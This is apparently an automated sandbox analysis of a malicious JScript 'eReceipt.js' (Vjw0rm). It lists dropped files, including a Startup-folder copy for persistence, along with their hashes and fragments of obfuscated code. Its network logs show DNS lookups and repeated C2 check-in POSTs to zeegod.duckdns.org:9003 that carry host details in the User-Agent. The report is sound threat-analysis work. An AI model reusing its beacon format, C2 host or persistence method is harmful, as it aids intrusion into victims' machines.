SHA-256:	E0E97169CE4F633BE2AB44AE97C5B6D9D23B3C8B0BB99D4EBF6D82E449B08025
SHA-512:	B66EC42775B30DCC946D91E593E084AD739AABA1D512EE8E496D234E32FDA34D5AA7F543EC6C1AC6FA66336F54553F4994D99457E1920E3CB4D3670D3B1CD0C4
Malicious:	true
Preview:	. function jbxlog() {. var str = ""; . try . {. for ( var i = 0 ; i < arguments.length ; i ++ ). {. var argKey = arguments[i][0]; . var argValue = arguments[i][1]; . var str2 = ""; . {. if ( argKey == "entry" ) . {. var info = jbxlog.countDic[argValue];. if (info === undefined). {. info = jbxlog.countDic[argValue] = { "totEntry": 1, "remEntry": jbxlog.countLimit - 1, "totExit": 0, "remExit": jbxlog.countLimit };. } else. {. info["totEntry"]++;. var remEntry = info["remEntry"] > 0 ? info["remEntry"]-- : 0;. if (remEntry === 0). {. return;. }. }. } else if ( argKey == "exit" ). {. var info = jbxlog.countDic[argValue];. if (info !== undefined). {. var to

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eReceipt.js:Zone.Identifier

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\XZqsVjnTsr.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	5.2894011150794435
Encrypted:	false
SSDEEP:	384:4HODRv2Svqnusx24EsLEtidkVdIa1bwp/Ehobu+5Tbwp/B3P0:Kk2snsxUr+e3P0
MD5:	9680A56E1D5253816FE0207732F4E9CB
SHA1:	89521E7838484A7417B1F1E2C24F08248A2CF6CD
SHA-256:	36CFA283F600288D1B5D4037A32AAD1163FC4F2CCCF4193A5A9580221FA7320D
SHA-512:	7BE37792E490BF33683B414565177CA7E9A906A0A03AC81EA50CCB30EE480E519F4D7165A4D92351AAC12C014260DDE15BEFA14E9BCB9C6B74480F40FEC1209A
Malicious:	true
Preview:	+(!Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call(thisArg, this[i], i, this);. }.} : 0, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. var array = [];. for (var i = 0; i < this.length; i++) {. array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : 0, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var values = this;. if (typeof initial === '\x75\x6e\x64\x65\x66\x69\x6e\x65\x64') {. initial = 0;. }. values.forEach(function (item, index) {. initial = fn(initial, item, index, this);. });. return initial;.} : 0);.function cushDevener$$$_() {. var __p_7718723007 = false;. if (__p_7718723007) {. function curCSS(elem, name, computed) {. var ret;. computed = computed \|\| getStyles(el

C:\Users\user\AppData\Roaming\eReceipt.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	72418
Entropy (8bit):	5.8225967963556124
Encrypted:	false
SSDEEP:	1536:fLjCsEaCSsH70UPi7qzBeIqwitzYNJO4b4aA7pbN:ODfXBeIqwitzYXt4zL
MD5:	251F5F194692E3005FC3C7FF65245703
SHA1:	A783B3612C72FDA8BEBA978B64355CF55BEB9207
SHA-256:	E0E97169CE4F633BE2AB44AE97C5B6D9D23B3C8B0BB99D4EBF6D82E449B08025
SHA-512:	B66EC42775B30DCC946D91E593E084AD739AABA1D512EE8E496D234E32FDA34D5AA7F543EC6C1AC6FA66336F54553F4994D99457E1920E3CB4D3670D3B1CD0C4
Malicious:	true
Preview:	. function jbxlog() {. var str = ""; . try . {. for ( var i = 0 ; i < arguments.length ; i ++ ). {. var argKey = arguments[i][0]; . var argValue = arguments[i][1]; . var str2 = ""; . {. if ( argKey == "entry" ) . {. var info = jbxlog.countDic[argValue];. if (info === undefined). {. info = jbxlog.countDic[argValue] = { "totEntry": 1, "remEntry": jbxlog.countLimit - 1, "totExit": 0, "remExit": jbxlog.countLimit };. } else. {. info["totEntry"]++;. var remEntry = info["remEntry"] > 0 ? info["remEntry"]-- : 0;. if (remEntry === 0). {. return;. }. }. } else if ( argKey == "exit" ). {. var info = jbxlog.countDic[argValue];. if (info !== undefined). {. var to

C:\Users\user\AppData\Roaming\eReceipt.js:Zone.Identifier

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	ASCII text, with very long lines
Entropy (8bit):	5.7986864588558165
TrID:
File name:	eReceipt.js
File size:	60355
MD5:	00073a5b3551f0759bf070f9954c96c0
SHA1:	c68e16991a3453fc8a33abe802421830efaa1fec
SHA256:	c8238e4ba5d2aafcb132239f682f11ba67387adc8abc80ac0614d3dbe3634e6d
SHA512:	197fd434e1855359afab435997b31f30996bc62e45d9536a2e1f11f221a990c228ead9a653109f8b91b4ab26a25c9392503ae7b2ecbeb30b764eeecff00f61a4
SSDEEP:	1536:KsCSsH70UPi7qzBeIqwitzYNJO4b4aA0f0:ODfXBeIqwitzYXt4Mc
TLSH:	3D43E5DC6E64E4AFC964983A7C3A6CCA47B45A1B8454D7CE781F72405BB8306CBDD06C
File Content Preview:	+(!Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call(thisArg, this[i], i, this);. }.} : 0, !Array.prototype.map ? Array.prototype.

File Icon


Icon Hash:	e8d69ece968a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.7212.193.30.1294977290032828283 05/17/22-23:13:15.273410	TCP	2828283	ETPRO TROJAN VJworm Checkin	49772	9003	192.168.2.7	212.193.30.129
192.168.2.7212.193.30.1294976290032828283 05/17/22-23:10:33.772326	TCP	2828283	ETPRO TROJAN VJworm Checkin	49762	9003	192.168.2.7	212.193.30.129
192.168.2.7212.193.30.1294978890032828283 05/17/22-23:13:30.858787	TCP	2828283	ETPRO TROJAN VJworm Checkin	49788	9003	192.168.2.7	212.193.30.129
192.168.2.7212.193.30.1294978190032828283 05/17/22-23:13:08.959758	TCP	2828283	ETPRO TROJAN VJworm Checkin	49781	9003	192.168.2.7	212.193.30.129

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 17, 2022 23:09:43.572072029 CEST	49762	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:09:43.599786997 CEST	9003	49762	212.193.30.129	192.168.2.7
May 17, 2022 23:09:43.599951029 CEST	49762	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:09:43.600795984 CEST	49762	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:09:43.680962086 CEST	9003	49762	212.193.30.129	192.168.2.7
May 17, 2022 23:09:58.479193926 CEST	9003	49762	212.193.30.129	192.168.2.7
May 17, 2022 23:09:58.479417086 CEST	49762	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:00.116456032 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:00.144386053 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:10:00.144522905 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:00.158965111 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:00.237379074 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:10:05.678009987 CEST	49762	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:05.762550116 CEST	9003	49762	212.193.30.129	192.168.2.7
May 17, 2022 23:10:19.017642021 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:19.048032999 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:10:19.048280954 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:19.069473982 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:19.152131081 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:10:20.556592941 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:10:20.556797028 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:26.567811966 CEST	9003	49762	212.193.30.129	192.168.2.7
May 17, 2022 23:10:26.567996979 CEST	49762	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:27.670526028 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:27.745771885 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:10:33.772325993 CEST	49762	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:33.841398954 CEST	9003	49762	212.193.30.129	192.168.2.7
May 17, 2022 23:10:34.856072903 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:34.883537054 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:10:34.883718967 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:34.885314941 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:34.963983059 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:10:40.598555088 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:10:40.598692894 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:46.696969986 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:10:46.697071075 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:47.762075901 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:47.835366011 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:10:53.851820946 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:10:53.929419041 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:10:54.761493921 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:10:54.761605024 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:01.956106901 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:02.034567118 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:11:12.984889984 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:11:12.984985113 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:19.060060024 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:11:19.060158968 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:20.157052994 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:20.242288113 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:11:26.259299994 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:26.341944933 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:11:28.129105091 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:11:28.132658005 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:36.348809958 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:36.430577993 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:11:48.352952003 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:11:48.353236914 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:54.365323067 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:11:54.366276979 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:55.543098927 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:11:55.621088982 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:12:01.507791042 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:01.589854002 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:12:06.481405973 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:12:06.483068943 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:13.751390934 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:13.822479010 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:12:22.682931900 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:12:22.683082104 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:28.685765028 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:12:28.685937881 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:29.735692978 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:29.822577953 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:12:35.833604097 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:35.916405916 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:12:44.730590105 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:12:44.730700970 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:51.777445078 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:12:51.859761953 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:13:01.732886076 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:13:01.732992887 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:13:07.731319904 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:13:07.731525898 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:13:08.959758043 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:13:09.039356947 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:13:15.273410082 CEST	49772	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:13:15.367495060 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:13:23.759994030 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:13:23.760073900 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:13:30.858787060 CEST	49788	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:13:30.945986032 CEST	9003	49788	212.193.30.129	192.168.2.7
May 17, 2022 23:13:37.797523975 CEST	9003	49781	212.193.30.129	192.168.2.7
May 17, 2022 23:13:37.797700882 CEST	49781	9003	192.168.2.7	212.193.30.129
May 17, 2022 23:13:45.824728012 CEST	9003	49772	212.193.30.129	192.168.2.7
May 17, 2022 23:13:45.824800968 CEST	49772	9003	192.168.2.7	212.193.30.129

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 17, 2022 23:09:43.419167995 CEST	63557	53	192.168.2.7	8.8.8.8
May 17, 2022 23:09:43.527143002 CEST	53	63557	8.8.8.8	192.168.2.7
May 17, 2022 23:09:59.995547056 CEST	60996	53	192.168.2.7	8.8.8.8
May 17, 2022 23:10:00.105016947 CEST	53	60996	8.8.8.8	192.168.2.7
May 17, 2022 23:10:18.895708084 CEST	64618	53	192.168.2.7	8.8.8.8
May 17, 2022 23:10:19.005278111 CEST	53	64618	8.8.8.8	192.168.2.7
May 17, 2022 23:10:34.730025053 CEST	58846	53	192.168.2.7	8.8.8.8
May 17, 2022 23:10:34.836256981 CEST	53	58846	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 17, 2022 23:09:43.419167995 CEST	192.168.2.7	8.8.8.8	0x4f54	Standard query (0)	zeegod.duckdns.org	A (IP address)	IN (0x0001)
May 17, 2022 23:09:59.995547056 CEST	192.168.2.7	8.8.8.8	0x880	Standard query (0)	zeegod.duckdns.org	A (IP address)	IN (0x0001)
May 17, 2022 23:10:18.895708084 CEST	192.168.2.7	8.8.8.8	0xe6c2	Standard query (0)	zeegod.duckdns.org	A (IP address)	IN (0x0001)
May 17, 2022 23:10:34.730025053 CEST	192.168.2.7	8.8.8.8	0x67f1	Standard query (0)	zeegod.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
May 17, 2022 23:09:43.527143002 CEST	8.8.8.8	192.168.2.7	0x4f54	No error (0)	zeegod.duckdns.org	212.193.30.129	A (IP address)	IN (0x0001)
May 17, 2022 23:10:00.105016947 CEST	8.8.8.8	192.168.2.7	0x880	No error (0)	zeegod.duckdns.org	212.193.30.129	A (IP address)	IN (0x0001)
May 17, 2022 23:10:19.005278111 CEST	8.8.8.8	192.168.2.7	0xe6c2	No error (0)	zeegod.duckdns.org	212.193.30.129	A (IP address)	IN (0x0001)
May 17, 2022 23:10:34.836256981 CEST	8.8.8.8	192.168.2.7	0x67f1	No error (0)	zeegod.duckdns.org	212.193.30.129	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

zeegod.duckdns.org:9003

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49762	212.193.30.129	9003	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
May 17, 2022 23:09:43.600795984 CEST	679	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:09:58.479193926 CEST	1139	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:09:57 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:10:05.678009987 CEST	1140	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:10:26.567811966 CEST	1271	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:10:26 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:10:33.772325993 CEST	1331	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49772	212.193.30.129	9003	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
May 17, 2022 23:10:00.158965111 CEST	1140	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:10:20.556592941 CEST	1257	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:10:20 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:10:27.670526028 CEST	1272	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:10:46.696969986 CEST	10133	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:10:46 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:10:53.851820946 CEST	12088	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:11:19.060060024 CEST	12549	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:11:18 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:11:26.259299994 CEST	13145	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:11:54.365323067 CEST	13456	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:11:54 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:12:01.507791042 CEST	13507	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:12:28.685765028 CEST	13522	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:12:28 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:12:35.833604097 CEST	13522	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:13:07.731319904 CEST	13524	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:13:07 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:13:15.273410082 CEST	13531	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:13:45.824728012 CEST	13539	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:13:45 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49781	212.193.30.129	9003	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
May 17, 2022 23:10:19.069473982 CEST	1257	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:10:40.598555088 CEST	1332	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:10:40 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:10:47.762075901 CEST	10134	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:11:12.984889984 CEST	12138	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:11:12 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:11:20.157052994 CEST	12677	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:11:48.352952003 CEST	13455	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:11:47 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:11:55.543098927 CEST	13462	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:12:22.682931900 CEST	13521	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:12:22 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:12:29.735692978 CEST	13522	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:13:01.732886076 CEST	13523	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:13:01 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 17, 2022 23:13:08.959758043 CEST	13524	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:13:37.797523975 CEST	13539	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:13:37 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49788	212.193.30.129	9003	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
May 17, 2022 23:10:34.885314941 CEST	1332	OUT	POST /Vre HTTP/1.1 Accept: / User-Agent: vjw0rm_0453C53E\computer\user\Microsoft Windows 10 Pro\Windows Defender\\YES\FALSE\ Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: zeegod.duckdns.org:9003 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
May 17, 2022 23:10:54.761493921 CEST	12088	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Server: Microsoft-HTTPAPI/2.0 Date: Tue, 17 May 2022 21:10:54 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
